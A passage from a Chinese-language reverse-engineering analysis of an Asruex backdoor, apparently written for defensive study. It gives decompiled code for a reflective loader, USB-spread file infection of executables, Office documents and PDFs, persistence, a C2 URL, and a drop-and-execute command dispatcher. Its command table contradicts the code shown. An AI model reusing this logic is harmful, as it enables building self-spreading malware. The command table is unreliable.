WriteFile(hFile, pDecompressedPayload, 0x7A600, &dwBytesWritten, NULL);
return 1; // 成功
}
落盘后双阶段命令执行
无论是分片落盘还是单文件落盘,落盘成功后样本都执行双阶段命令
- 如果是分片落盘:先
cmd.exe /C Silverlight1.vbs执行VBS脚本拼接重组载荷,然后休眠60秒; - 然后统一执行
CreateProcessA("\"落盘路径\" \"cfg\" \"cfg\""),以2个相同的命令行参数启动落盘载荷。两个参数使落盘载荷的g_Mode = argc-1 = 2,进入Mode=2路径。
if ( ExtractAndDropEmbeddedPayload(szTempDir, szBufA, szDropPath, szCmdArg) != 0 ) // 分片落盘
{
Sleep(0xEA60u); // 60s
XorDecryptString(a4s2_1); // 解密 → "c:\windows\system32\cmd.exe"
sprintf_s(szCmdLine, 0x800u, "%s /C %s", szCmdExe, szCmdArg);
pCreateProcessA(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
Sleep(0xEA60u);
LABEL_15:
sprintf_s(
szCmdLine,
0x800u,
"\"%s\" \"%s\" \"%s\"",
szDropPath,
*g_ConfigStrings,
*g_ConfigStrings);
pCreateProcessA(NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
else if ( DropEmbeddedPayload(szDropPath) != 0 ) // 单个文件落盘
{
goto LABEL_15; // DropEmbeddedPayload(szDropPath): 将PRNG-XOR+zlib处理后的嵌入载荷写入 %TEMP%\<malware_filename>
}
第二阶段DLL分析
| 字段 | 值 |
|---|---|
| 原始文件名 | TEMP.DLL |
| 文件大小 | 556544 bytes (543KB) |
| MD5 | EDFE9F957CAC3AF9999DB277A4F29167 |
| 文件类型 | PE32 executable |
| 病毒名 | Backdoor.Asruex!1.C45A |
| 主要功能 | 感染文件 |
反射式PE装载
第一阶段写入宿主进程的是一段原始 PE 文件映像,随后执行之前解析载荷的DllCanUnloadNow函数地址,DllCanUnloadNow就是这个“自带加载器”:它先把被注入的映像整体重新映射一遍,再进入真正的入口 DllEntryPoint。
/* DllCanUnloadNow @0x100028d0 —— 反射式 PE 装载器(不是 DllMain)
调用者:第一阶段 CreateRemoteThread(注入缓冲区基址 + 本函数 RVA,
lpParameter = 宿主文件路径) */
HRESULT __stdcall DllCanUnloadNow(void *hostPath)
{
/* ① 回溯定位自身映像基址 -------------------------------------------------
被注入的是原始 PE 文件映像,没有任何寄存器告诉它 PE 从哪开始,
所以从自身代码地址逐字节向前找 MZ + PE\0\0。 */
for (p = &self_code; ; --p)
if (*(WORD *)p == 0x5A4D && *(DWORD *)(p + e_lfanew) == 0x00004550)
{ img = p; break; }
/* ② 零字符串解析 4 个 API -------------------------------------------------
PEB→InMemoryOrderModuleList 遍历 + ROR13 累加哈希(大写折叠),
全程不用任何字符串、不依赖 IAT。 */
k32 = FindModuleByHash(0x6A4ABC5B); // kernel32.dll
pLoadLibraryA = GetExportByHash(k32, 0xEC0E4E8E);
pGetProcAddress = GetExportByHash(k32, 0x7C0DFCAA);
pVirtualAlloc = GetExportByHash(k32, 0x91AFCA54);
/* ③ 分配 RWX 内存并整体搬运映像 ------------------------------------------ */
base = pVirtualAlloc(NULL, SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(base, img, SizeOfHeaders); // 头部
foreach (sec in Sections(img)) // 各节
memcpy(base + sec.VirtualAddress, img + sec.PointerToRawData, sec.SizeOfRawData);
/* ④ 修导入表 + 搬重定位 -------------------------------------------------- */
foreach (imp in Imports(base)) {
h = pLoadLibraryA(base + imp.Name); // 先加载依赖模块
foreach (t in IAT(imp))
*t = (*t & 0x80000000) // 最高位=按序号
? ResolveExportByOrdinal(h, *t) // 手工查导出表
: pGetProcAddress(h, base + *t + 2); // 跳过 Hint 取名字
}
delta = base - img->ImageBase; // 新旧基址之差
foreach (blk in Relocs(base))
foreach (e in blk) // type 3/10→DWORD, 1→HIGH, 2→LOW
*(DWORD *)(base + blk.Page + (e & 0xFFF)) += delta;
/* ⑤ 跳进真入口 ---------------------------------------------------------- */
// DllMain(base, DLL_PROCESS_ATTACH, 宿主文件路径)
// └─ 该路径最终成为 MalwareMainDispatch 的参数,按 ';' 切成
// "待删除投放物" 与 "源模块路径"
return ((DllMain_t)(base + AddressOfEntryPoint))(base, 1, hostPath);
}
入口初始化:隐蔽执行、版本选择与单实例互斥
隐蔽执行 + 单实例防重复 + 版本自我管理 + 两阶段线程启动(先窗口劫持、再主调度)
// 隐蔽执行:屏蔽关键错误 / 严重错误 / 文件打开失败 / 对齐异常的系统弹窗
SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOGPFAULTERRORBOX
| SEM_NOOPENFILEERRORBOX | SEM_NOALIGNMENTFAULTEXCEPT); // 0x8007
if (fdwReason != DLL_PROCESS_ATTACH)
return TRUE; // 其余原因直接返回
// 配置解密:版本号硬编码为 "5",据此解密对应配置块
configVersion = atoi("5"); // == 5
switch (configVersion) // 版本开关,解密互斥量名等配置
{
case 1: XorDecrypt_Config(&unk_10075D90); break; // 加密配置块(XOR key "Windows")
case 2: XorDecrypt_Config(&unk_10075DB8); break;
case 3: XorDecrypt_Config(&unk_10075DE0); break;
case 4: XorDecrypt_Config(&unk_10075E08); break;
case 5: XorDecrypt_Config(&unk_10075E30); break; // 本样本命中 → 解密出互斥量名
default: break;
}
//单实例互斥检测
hMutex = CreateMutexA(NULL, FALSE, mutexName);
if (!hMutex)
return TRUE;
if (GetLastError() == ERROR_ALREADY_EXISTS) // 183:已有实例在运行
{
CloseHandle(hMutex);
return TRUE; // 静默退出,不执行任何恶意逻辑
}
// 启动恶意工作线程
InitializeCriticalSection(&g_CriticalSection); // 全局临界区,供多线程同步
// 窗口子类化线程:EnumWindows + SetWindowLongA 劫持宿主窗口过程
// (用于捕获 WM_DEVICECHANGE,触发 USB 传播)
hThread = CreateThread(NULL, 0, WindowSubclassThread, NULL, 0, NULL);
if (hThread)
{
WaitForSingleObject(hThread, 30000); // 最多等 30 秒,确保窗口劫持完成
GetExitCodeThread(hThread, &threadExitCode);
CloseHandle(hThread);
// 恶意主调度线程:核心行为编排器(8+ 模块:感染/传播/持久化/网络)
CreateThread(NULL, 0, MalwareMainDispatch, lpvReserved, 0, NULL);
}
USB插拔事件监控
挂载的 USBDriveWndProc 在窗口收到 WM_DEVICECHANGE 时调用 USBChangeEventProcessor 处理 USB 设备插拔,从而调用MalwarePayloadThread触发文件感染和传播逻辑
// 枚举顶层窗口,找属于本进程的窗口(最多重试 10 次,每次间隔 1 秒)
for (int i = 0; i < 10; i++)
{
hHostWnd = NULL;
EnumWindows(EnumFunc, (LPARAM)&hHostWnd); // 回调填充 hHostWnd
if (hHostWnd)
break; // 找到即跳出
Sleep(1000);
}
if (!hHostWnd)
ExitThread(0xFFFFFFFF); // 无窗口,失败退出
// 保存原窗口过程,并劫持为恶意 USBDriveWndProc
lpPrevWndFunc = (WNDPROC)GetWindowLongA(hHostWnd, GWL_WNDPROC);
if (!SetWindowLongA(hHostWnd, GWL_WNDPROC, (LONG)USBDriveWndProc))
ExitThread(0xFFFFFFFF); // 劫持失败
ExitThread(1); // 成功退出,劫持保持
恶意行为总调度线程
MalwareMainDispatch作为整条感染链的"总调度",负责按序启动所有核心恶意模块,并根据全局配置标志/互斥条件决定是否启用持久化与定时器。
void MalwareMainDispatch(const char *param)
{
char deleteMe[260] = {0}; // ';' 之前 = 待删除投放物
char srcModule[260] = {0}; // ';' 之后 = 源模块路径
DWORD exitCode = (DWORD)-1;
if (param == NULL || param[0] == '\0')
ExitThread((DWORD)-1); // 无参数直接退出
char *semi = strchr(param, ';');
if (semi != NULL)
{
memcpy_s(deleteMe, sizeof(deleteMe), param, semi - param); // 前半段
strcpy_s(srcModule, sizeof(srcModule), semi + 1); // 后半段
}
else
strcpy_s(srcModule, sizeof(srcModule), param);
// ---- 阶段 0:自清理投放物 ----
if (deleteMe[0] != '\0')
DeleteFileA(deleteMe); // 删除安装源/下载临时文件
EnterCriticalSection(&g_crit);
// ---- 阶段 1:全局状态初始化 / 配置解密(仅首次)----
if (g_stateReady /* dword_10095440 */ != 0
|| StateObjectInit_ConfigAndCheck((BYTE*)g_configBlob
(int)&g_state))/* C2串:"http://themoviehometheather.com/content/faq.php"*/,
{
// ---- 阶段 2:即刻启动主负载线程(不等本函数)----
CreateThread(NULL, 0, MalwarePayloadThread, NULL, 0, NULL);
// ---- 阶段 3:安装副本到 %appdata%\Microsoft\Installer\... ----
if (Installer_CopyToAppDataInstaller(srcModule, &g_state) != 0)
{
// 成功则把 %appdata%\...\_6F7D185CA4F8.exe 路径写入 g_state(+566/9932 相关)
CopyPathToGlobalDestinations(g_bufModulePath /* ::lpFileName */);
// ---- 阶段 4:校验感染目标目录就绪 ----
if (CheckInfectTargetPathExist(&g_state) != 0)
{
// ---- 阶段 5:条件启动 USB 传播线程 ----
if (g_usbEnabled /* byte_1009790F */ != 0)
CreateThread(NULL, 0, USBPropagationThread, NULL, 0, NULL);
// ---- 阶段 6:写入自启动持久化 ----
if (ConfigSavePersistence(&g_state) != 0)
{
// ---- 阶段 7:记录模块所在目录 ----
ExtractDirAndSetStatePath(&g_state);
if (g_mode /* dword_10095438 */ == 0)
{
// 首次/一次性:直接完整跑一遍持久化管家
PersistenceManager(&g_state);
exitCode = 1;
}
else
{
// 已激活:转入"定时维持"模式——注册周期回调
g_tq = CreateTimerQueue();
if (g_tq != NULL
&& CreateTimerQueueTimer(&g_phTimer, g_tq,
TimerPersistenceCallback,
(void*)&g_state,
1000, // 首触发 1s
1000 * g_periodSec /* dword_10096048 */,
0))
{
exitCode = 1;
}
}
}
}
}
}
StateObjectInit_ConfigAndCheck 是本样本的运行环境自举器 + 感染总控闸门,它在单次调用内完成以下动作:
- 机器指纹绑定
- 加密密钥库落地
- 感染功能开关装载
- 运行环境探测
- 访问 C2 确认是否开启感染
- 状态对象自证
运行结果被记录成一组全局状态位供整条感染链读取;只有全部关键子步骤成功它才返回 TRUE,否则整条感染链一行都不执行。它本身不执行任何感染动作,只负责把感染所需的前置条件全部准备好,并给出许可。
BOOL __usercall StateObjectInit_ConfigAndCheck(_BYTE *Source /*静态配置块 0x10082B20*/,
int Destination /*全局 Parameter 0x10094B00*/)
{
// ① 机器指纹:必须是"看起来像 SID 的 43 字节字符串"
result = GetMachineIdString43Bytes((char *)Destination);
if (!result) return result; // 失败 → 直接不感染
// ② 建立 %appdata%\Microsoft\Crypto\AES\<机器ID>\... 目录树(无返回值检查)
CreateCryptoDirectoryStructure(Destination);
// ③ 可移动盘 U 盘目录结构(无返回值检查;*a1==0 时内部直接返回 0)
USBDrive_CreateDirStructure((char *)(Destination + 6480));
if (Source == NULL) return false; // ④
memcpy_s(Destination + 2376, 0x1008, Source, 0x1008); // ⑤ 把静态配置整体拷进状态对象
// ⑥ 从静态配置末 4 字节(Source[4100])取 4 个"功能开关"位
if (Source[4100] & 1) *(BYTE*)(Destination + 11788) = 1; // PE/DLL 侧加载感染
if (Source[4100] & 2) *(BYTE*)(Destination + 11789) = 1; // PDF 感染
if (Source[4100] & 4) *(BYTE*)(Destination + 11790) = 1; // Office 文档感染
if (Source[4100] & 8) *(BYTE*)(Destination + 11791) = 1; // 第 4 开关
// 实测静态值 Source[4100] == 0x0F → 四个开关全开
CopyMachineIdToStateObject(Destination, Destination + 6480); // ⑦ 机器ID → 副状态对象+1567
CopyMachineIdAndCalcHash(Destination, Destination + 9932); // ⑧ 机器ID → 副状态对象+2,并算哈希→+1840
// ⑨ 对机器ID字符串做 FNV-1a(乘子 0x811C9DC5)→ 作为状态文件的异或种子
i = strlen(Destination); /* == 43 */
for (k = 0, hash = 0; k < i; ++k) hash = hash * 0x811C9DC5 ^ Destination[k];
*(DWORD*)(Destination + 2364) = hash; // = dword_1009543C
if (CreateCryptoDirectoryStructure(Destination) == 0) return false; // ⑩ 再建一次,这次必须成功
// ⑪ 把三条子目录路径同步到副状态对象(U盘/持久化用)
CopyStateObjectPath1045(..., Destination + 827, Destination + 6480);
CopyStateObjectPath784 (..., Destination + 1088, Destination + 6480);
CopyStateObjectPath1306(..., Destination + 1349, Destination + 6480);
CopyStateObjectPath307 (..., Destination + 827, Destination + 9932);
CopyStateObjectPath568 (..., Destination + 1088, Destination + 9932);
CopyStateObjectPath46 (..., Destination + 1349, Destination + 9932);
// ⑫ 状态文件(748 字节 RSA 密钥对)读写与校验
if (!CheckMarkerFileSize748(Destination)) { // Destination+44 处文件大小 == 748 ?
if (WriteConfigDataFiles(Destination) == 0
|| ReadMarkerFile748_Repack(Destination + 305, Destination + 9932) == 0)
return false; // ★ 首次运行的主要失败点之一
DeleteFileA(Destination + 305); // 删掉 repack 临时文件
}
if (ReadAndDecryptConfigData(Destination) == 0) return false; // ⑬ 实际恒返回 1,等于没有校验
// ⑭ 把解密出的两段配置复制到最终位置
memcpy_s(Destination + 11022, 0x94, Destination + 1610, 0x94); // 148 字节(RSA 公钥 blob)
memcpy_s(Destination + 11170, 0x258, Destination + 1758, 0x258); // 600 字节(RSA 私钥 blob)
// ⑮ 杀软枚举(Toolhelp32 遍历进程,比对 15 个 AV 进程名,返回位图)
*(DWORD*)(Destination + 2372) = CheckAntivirusRunning(); // = dword_10095444
// ⑯ 【核心】配置迭代校验 —— 这里面联网问 C2 要不要干活
*(DWORD*)(Destination + 2360) = ConfigIterateCheck(Destination); // = dword_10095438 ★★★
*(DWORD*)(Destination + 2368) = 1; // = dword_10095440 初始化成功
return true;
}
文件清单、数据收集与多格式感染
MalwarePayloadThread是一个在临界区内顺序执行的"恶意行为流水线编排器",完成以下动作:
- 初始化探测
- 文件操作
- 网络上报
- AutoRun 配置
- 持久化部署
- PE 资源感染
- 文档感染
- PDF 感染
最终启动 USB 文件监控线程并退出,实现了“感染-持久化-传播”三位一体的自动化恶意行为链。
void __stdcall __noreturn MalwarePayloadThread(LPVOID lpThreadParameter)
{
WORD statusFlags;
// 初始化:查找可移动驱动器盘符 ──
if (!g_CurrentDriveLetter)
{
g_CurrentDriveLetter = FindFirstRemovableDrive();
g_DriveLetterCopy = g_CurrentDriveLetter;
if (!g_CurrentDriveLetter)
ExitThread(0xFFFFFFFF); // 找不到可移动驱动器,退出
}
// 延迟 5 秒,等待系统稳定 ──
Sleep(5000);
// 进入全局临界区(保证线程安全)
EnterCriticalSection(&g_CriticalSection);
// 条件性文件操作 ──
// dword_10097910 是文件操作计数器,仅首次执行时触发
if (g_FileOpCounter > 0)
{
g_FileOpCounter--;
FileOperationModule(); // 搜索 "*.*",处理文件列表,清理 STL 容器
}
// 文件搜索/清理
FileListCleanerAndSearch(&g_DestinationPath);
// 白名单文件收集登记器
CollectWhitelistedFiles(&g_ParameterBlock);
// 感染目录的上传和清理
InfectionArtifactLifecycleManager();
// 条件性清理和数据写入(条件性)
if (!g_ModeToggle)
{
FileCleanupRemoval(&g_ParameterBlock); // 文件清理/移除
WriteTimedDataFile(&g_DriveLetterCopy); // 写入定时数据文件
}
statusFlags = g_StatusBitfield; // dword_10095444 — 跟踪已完成的操作
// PE 资源感染(条件性)
if (g_EnablePEInfection && !(statusFlags & 0x001) && !(statusFlags & 0x200))
{
PEResourceInfector();
statusFlags = g_StatusBitfield;
}
// 文档感染(条件性)
if (g_EnableDocInfection && !(statusFlags & 0x010) && !(statusFlags & 0x2000) && !(statusFlags & 0x004) && !(statusFlags & 0x1000) && !(statusFlags & 0x040))
{
FileInfectorModule();
statusFlags = g_StatusBitfield;
}
// PDF 感染(条件性)
if (g_EnablePDFInfection && !(statusFlags & 0x008) && !(statusFlags & 0x002) && !(statusFlags & 0x100) && !(statusFlags & 0x010) && !(statusFlags & 0x200))
{
PDFInfectFromList();
}
// 离开临界区 ──
LeaveCriticalSection(&g_CriticalSection);
// 启动 USB 文件监控线程并退出
CreateThread(NULL, 0, USBFileMonitorThread, NULL, 0, NULL);
ExitThread(0xFFFFFFFF); // 本线程使命完成,退出
可移动驱动器探测
查找可移动磁盘,保存盘符名称,以备后续感染可移动磁盘使用
memset(RootPathName, 0, 261);
memset(VolumeNameBuffer, 0, 261);
n90 = 'Z';
while ( 1 )
{
sprintf_s(Buffer: RootPathName, BufferCount: 0x105u, Format: "%c:\\", n90);
if ( GetDriveTypeA(lpRootPathName: RootPathName) == 2
&& GetVolumeInformationA(
lpRootPathName: RootPathName,
lpVolumeNameBuffer: VolumeNameBuffer,
nVolumeNameSize: 0x105u,
lpVolumeSerialNumber: nullptr,
lpMaximumComponentLength: nullptr,
lpFileSystemFlags: nullptr,
lpFileSystemNameBuffer: nullptr,
nFileSystemNameSize: 0) )
文件枚举与分类清单构建
FileOperationModule 负责文件枚举与分类收集,通过递归遍历指定目录,将 .exe、.doc、.docx 和 .pdf 文件分别记录到对应的 STL 列表中,并对文件清单进行序列化,为后续 PE、Word 和 PDF 感染模块提供目标集合。
void __thiscall FileOperationModule(StateObject *this)
{
std::string fileList; // 局部字符串,SSO 优化 (cap=15)
ListEntry *listPtr;
// ── [STEP 1] 触发文件搜索 ──
NetworkComm_FileTransfer("*.*", &this->fileSearchState); // this + 6480
// ── [STEP 2] 获取状态对象中的文件列表指针 ──
listPtr = GetStateObjectPathPtr("*.*");
if (listPtr != NULL)
{
// ── [STEP 3] 遍历文件列表,序列化为 CRLF 分隔字符串 ──
for (ListEntry *entry = listPtr->first; entry != listPtr->last; entry = entry->next)
{
// 追加文件路径 (entry->filePath = entry->data[2])
StringAppend(&fileList, entry->filePath, strlen(entry->filePath));
// 追加 CRLF 换行符
StringAppend(&fileList, "\r\n", 2);
}
// ── [STEP 4] 生成唯一标识并写入状态对象 ──
StoreFileListToState(&fileList, &this->stateData); // this + 9932
}
// ── [STEP 5] 释放 SSO 缓冲区 ──
if (fileList.capacity >= 16)
operator delete(fileList.heapBuffer);
}
分类清单清理与递归重建
FileListCleanerAndSearch 是一个“清空重建文件清单”函数,它会依次执行如下动作:
- 释放状态对象内 4 个 STL 字符串链表(按文件类别存放的路径集合)的全部节点与数据
- 将搜索模式转成宽字符并构建设备路径前缀
\\?\X: - 调用递归的 FileSearchByExtension 按扩展名重新填充这 4 个分类列表(
.exe/.doc/.docx/.pdf)
最终把填充的分类列表提供给后续 PE/文档/PDF 感染模块提供最新目标候选集。
void *__usercall FileListCleanerAndSearch(const char *lpMultiByteStr, char *stateObj)
{
// ── STEP 1: 初始化本地缓冲区 ──
wchar_t Buffer[264]; // 设备路径前缀
WCHAR WideCharStr[1026]; // 宽字符搜索模式
memset(Buffer, 0, sizeof(Buffer));
WideCharStr[0] = 0;
memset(&WideCharStr[1], 0, 0x7FE);
// ── STEP 2: 参数校验 ──
if (stateObj == NULL || *stateObj == 0) return NULL;
if (lpMultiByteStr == NULL) return NULL;
if (strlen(lpMultiByteStr) == 0) return NULL;
// ── STEP 3: 清空 4 个分类链表(同一宏重复作用于 4 个偏移基址)──
ClearList(stateObj, LIST1_BASE); // 释放 ALL 列表
ClearList(stateObj, LIST2_BASE); // 释放 EXE 列表
ClearList(stateObj, LIST3_BASE); // 释放 DOC 列表
ClearList(stateObj, LIST4_BASE); // 释放 PDF 列表
// ── STEP 4: 模式转宽字符 ──
if (MultiByteToWideChar(0, 0, lpMultiByteStr, -1,
WideCharStr, 1024) == 0)
return NULL;
// ── STEP 5: 构建设备路径前缀 "\\?\X:"(长路径支持)──
swprintf_s(Buffer, L"\\\\?\\%c:", *stateObj); // *stateObj = 盘符
// ── STEP 6: 递归搜索重建列表 ──
return FileSearchByExtension(WideCharStr /*模式*/, Buffer /*根路径*/,
1 /*起始深度*/);
}
白名单文件的读取、登记与归档
CollectWhitelistedFiles负责从已建立的文件清单中筛选符合条件的文件。函数依据扩展名白名单及感染状态进行过滤,对命中文件读取并封装为带有头部和文件名的数据块,以随机生成的十六进制名称登记到状态存储,同时将文件名、大小和时间戳等信息以 XOR 形式追加至索引数据,为后续的数据上传及产物管理提供待处理条目。
int __stdcall CollectWhitelistedFiles(int stateObj)
{
ListNode *list, *node;
int count = 0;
// ── STEP 1: 前置校验:白名单/目标串必须非空 ──
if (stateObj == (int)-5452) return 0;
if (strlen((char *)(stateObj + 5452)) == 0) return 0;
// ── STEP 2: 获取已枚举的文件分类清单(ALL 列表头)──
list = (ListNode *)GetStateObjectPathPtr(stateObj + 5452);
if (list == NULL) return 0;
// ── STEP 3: 遍历清单中每个文件 ──
for (node = list->head; node != list->sentinel; node = node->next)
{
const char *filePath = (const char *)node->data[2];
// ── STEP 3a: 白名单 + 未感染过滤 ──
if (!IsWhitelistedAndNotInfected(stateObj, filePath))
continue;
// ── STEP 3b: 读取并封装文件,登记归档 ──
if (FileReadAndEncryptWithHeader(
stateObj + 9932, filePath, NULL))
count++; // 成功登记计数
}
return count;
}
感染产物生命周期:同步、上传与清理
InfectionArtifactLifecycleManager是一条"感染工件目录生命周期/先传后删"流水线编排器:
- 当主开关置位时,先把带感染标记的工件在源/目标目录间同步复制并重打标签
- 扫描多个配置目录把有效感染文件登记进清单
- 调用 libcurl 将暂存目录中的感染成品逐个上传到 C2
- 上传成功后记录归档并删除本地文件、清理无效文件
- 两条目录清扫子过程的结果决定是否二次回扫;
如期间上传失败且停止标志(位0x100)置位时则整体停用该流程并返回 -1
int InfectionArtifactLifecycleManager(State *S)
{
BYTE *U = (BYTE *)S + 6480; /* 可移动介质(U盘)对象 */
List *workList = (List *)((BYTE *)S + 9928);
State *B = (State *)((BYTE *)S + 9932); /* Drain* 使用的状态视图 */
// 初始化时由 ConfigIterateCheck() 写入的模式开关
if (*(DWORD *)((BYTE *)S + 2360) != 0)
{
/* ================= A. 在线完整周期 ================= */
FileSyncReplicator(U, /*toggle*/ 1); /* 感染产物复制/同步 */
FileCleanupDeleter(U); /* 清理已处理/过期产物 */
InfectedFileDirProcessor(S); /* ★ 感染引擎主处理 */
DirEnum_ValidateAndClean_StateDir(S); /* 校验+清理 S+827 目录 */
DirPathListRegister(workList, /* 注册 S+827 为工作项 */
StateObjectNewString((char *)S + 827), NULL);
/* ↑ 内部会调用 C2 接口族 */
FileCleanupByToggle(U, /*toggle*/ 1);
/* + 本地→U 推送 */
DirEnum_ValidateAndClean((char *)U + 1, S); /* 校验+清理 U 盘 +1 目录 */
SyncInfected_1To784(U);
DirEnum_ValidateAndClean((char *)S + 1088, S); /* 校验+清理 S+1088 */
ConfigString_ParseAndProcess(S); /* 拉取 ";" 分隔 SID 列表 */
ConsolidateForeignInfected_784To1(U); /* 本地 S+1088 → U+1 回灌 */
/*命令执行的真正入口: 两个暂存目录被排空 */
BOOL gotCollect = DrainCollectStaging(B); //排空采集暂存
BOOL gotInfect = DrainInfectStaging(B); //排空感染暂存
if (gotCollect || gotInfect) {
InfectedFileDirProcessor(S); /* 有新产物 → 再跑一遍感染引擎 */
return 1;
}
}
else
{
/* ================= B. 离线降级周期 ================= */
FileCleanupByToggle(U, /*toggle*/ 0);
SyncInfected_1To784(U);
DrainCollectStaging(B);
DrainInfectStaging(B);
ConsolidateForeignInfected_784To1(U);
ArchiveInfected_1306To262(U);
FileSyncReplicator(U, /*toggle*/ 0); /* 复制/同步 */
}
return 1;
}
StagedCommandDispatcher是该样本远程控制能力的落地执行点。它自身不进行任何网络通信,而是采用"文件即命令"的设计:把出现在本地暂存目录中的一个文件,解析为一条完整的远程指令并立即执行。每个命令文件以一段 61 字节自描述头声明其身份(标签、感染标记)、负载编码方式与负载长度,函数据此解密负载、按负载首字节在 8 类能力中选择一路执行,并可经由结果上报链路把执行结论回写为新的暂存产物。该函数由 DrainCollectStaging 与 DrainInfectStaging 在每个执行周期中逐文件调用,是“U 盘/本地死信箱 → 本机执行”攻击链的控制器。
int StagedCommandDispatcher(const char *filePath, State *B)
{
/* --- 0. 初始化: 清结果区 + 解密字符串常量 --------------------------- */
memset(&resultBuf, 0, 80); /* resultBuf/tag/marker/name 合并清零 */
XorDecrypt_Config(aRandNameFmt); /* "%s%.2X%.2X%.2X%.2X%.2X" */
XorDecrypt_Config(aFakeSidMark); /* "S-1-1-11-111111111-1111111111-111111111-111" */
if (filePath == NULL || filePath[0] == '\0')
return 0;
/* --- 1. 取件: 读 61B 头 + 解密负载 ---------------------------------- */
if (!StagedRecordLoadAndDecrypt(&payload, filePath, B, &hdr, &cbPayload))
return 0; /* 打开/读/解密失败 */
if (payload == NULL)
return 0; /* 空命令(dwPayloadSize==0) */
/* --- 2. 身份与标记准备 ---------------------------------------------- */
resultBuf.ctx = B; /* 结果上报上下文 */
strcpy_s(hdrTag11, 11, hdr.tag);
if (IsAllZero(hdr.marker, 44)) { /* 未标记文件 → 采用本机身份 */
strcpy_s(localMarker43, 44, B->selfMarker43);
srand(GetTickCount());
sprintf_s(randSuffixName, 18, "%s%.2X%.2X%.2X%.2X%.2X",
"_CCCCCC",
rand() % 256, rand() % 256, rand() % 256,
rand() % 256, rand() % 256); /* 本版本后续未使用, 残留逻辑 */
} else { /* 沿用文件自带标记 */
strcpy_s(localMarker43, 44, hdr.marker);
}
/* --- 3. 按负载首字节分发 -------------------------------------------- */
switch (payload[0])
{
/* ---- 定向清除: 删除指定目录中 tag 与 marker 都匹配的文件 ---------- */
case '@':
case 'A':
{
const char *dir = (payload[0] == '@') ? B->dir46 : B->dir568;
memset(purgeMarker43, 0, 44);
memset(purgeTag10, 0, 11);
memcpy(purgeMarker43, payload + 6, 43);
memcpy(purgeTag10, payload + 49, 10);
ok = DirDeleteMatchingFiles(purgeTag10, dir, purgeMarker43);
break;
}
/* ---- RESET 族: 清空暂存目录并用 "<名字> Succeeded|Failed" 回报 ---- */
case 'P': /* RESET */
ok = ResetCommandHandler(B, &resultBuf, 'P');
break;
case 'Q': /* RESET_COMMANDS */
ok = ResetCommandHandler(B, &resultBuf, 'Q');
break;
case 'R': /* RESET_COMMON_COMMANDS*/
ok = ResetCommandHandler(B, &resultBuf, 'R');
break;
case 'S': /* RESET_RESULTS */
ok = ResetCommandHandler(B, &resultBuf, 'S');
break;
/* ---- USB 间谍模块配置 ---------------------------------------------- */
case '`': /* payload[6]: 1=Set_Extension 2=Set_Reconnect 0x10=Get_USB_fileList */
ok = UsbSpyConfigCommandHandler(payload, &resultBuf);
break;
/* ---- 通用载荷投递(落盘 + 二级分发执行) ------------------------------ */
default:
ok = (PayloadDropAndExecute(cbPayload, payload, B->dir829, &resultBuf) == 0);
break;
}
operator delete[](payload);
return ok;
}
一级命令
| 命令代码 | 名称 | 功能 |
|---|---|---|
| ‘@’ | PURGE_COMMON_COMMANDS | 定向清除 |
| ‘A’ | PURGE_COMMANDS | 定向清除 |
| ‘P’ | RESET | 清空目录 |
| ‘Q’ | RESET_COMMANDS | 清空目录 |
| ‘R’ | RESET_COMMON_COMMANDS | 清空目录 |
| ‘S’ | USB_SPY_CONFIG | USB 间谍配置 |
| default | DROP_AND_EXECUTE | 通用载荷投递 |
PayloadDropAndExecute把StagedCommandDispatcher解出的命令负载按自描述小头拆包(命令字 / 文件名字段长 / 数据长),把数据段落盘为dropDir\名称,然后按命令字三选一处置:
- 内存直接解释脚本
- 隐藏窗口起进程
- 起线程把落盘文件当 DLL 加载并调用其导出
RunThisCode
最后把“ OK / Fail / Make Fail”结论进行压缩加密回传。
int PayloadDropAndExecute(UINT cbPayload, BYTE *payload,const char *dropDir, int *pResult)
{
/* --- 0. 初始化 ------------------------------------------------------ */
memset(Filename, 0, 260);
memset(Buffer, 0, sizeof(Buffer));
/* --- 1. 拆包与边界校验 ---------------------------------------------- */
if (payload == NULL) return -1;
if (cbPayload < 6) return -1;
memcpy(&hdr, payload, 6);
if ((UINT)hdr.nameLen + hdr.dataLen + 6 > cbPayload)
return -1;
data = payload + 6 + hdr.nameLen;
/* --- 2. 命令字 0x01: 内存解释子命令脚本, 不落盘 --------------------- */
if (hdr.dropTag == 0x01)
{
EmbeddedSubcommandRunner((BYTE *)data, hdr.dataLen, pResult);
Sleep(1000);
return 0;
}
/* --- 3. 构造落盘路径 ------------------------------------------------ */
if (dropDir != NULL && dropDir[0] != '\0')
strcpy_s(Filename, 260, dropDir);
else
{
GetModuleFileNameA(NULL, Filename, 260);
char *p = strrchr(Filename, '\\');
if (p) *p = '\0';
}
strcat_s(Filename, 260, "\\");
if (hdr.nameLen != 0)
strcat_s(Filename, 260, (const char *)(payload + 6));
else
{
strcat_s(Filename, 260, TimestampFileName());
strcat_s(Filename, 260, ".exe");
}
/* --- 4. 落盘 (CREATE_ALWAYS, 覆盖写) -------------------------------- */
HANDLE h = CreateFileA(Filename,
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE)
{
sprintf(Buffer, "%s Make Fail", Filename);
CommandResultReporter(Buffer, strlen(Buffer), NULL, pResult);
return -1;
}
DWORD written = 0;
WriteFile(h, data, hdr.dataLen, &written, NULL);
CloseHandle(h);
Sleep(1000);
/* --- 5. 按 dropTag 二次执行分发 ------------------------------------- */
if (hdr.dropTag == 0x11) /* RUN_CREATE_PROCESS */
{
STARTUPINFOA si; PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
ok = CreateProcessA(Filename, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, &pi);
sprintf(Buffer, ok ? "%s OK" : "%s Fail", Filename);
CommandResultReporter(Buffer, strlen(Buffer), NULL, pResult);
Sleep(1000);
return 0;
}
if (hdr.dropTag == 0x21) /* RUN_CREATE_THREAD */
{
DWORD tid = 0;
HANDLE t = CreateThread(NULL, 0, DroppedPayloadThreadProc,
Filename, 0, &tid);
sprintf(Buffer, t ? "%s OK" : "%s Fail", Filename);
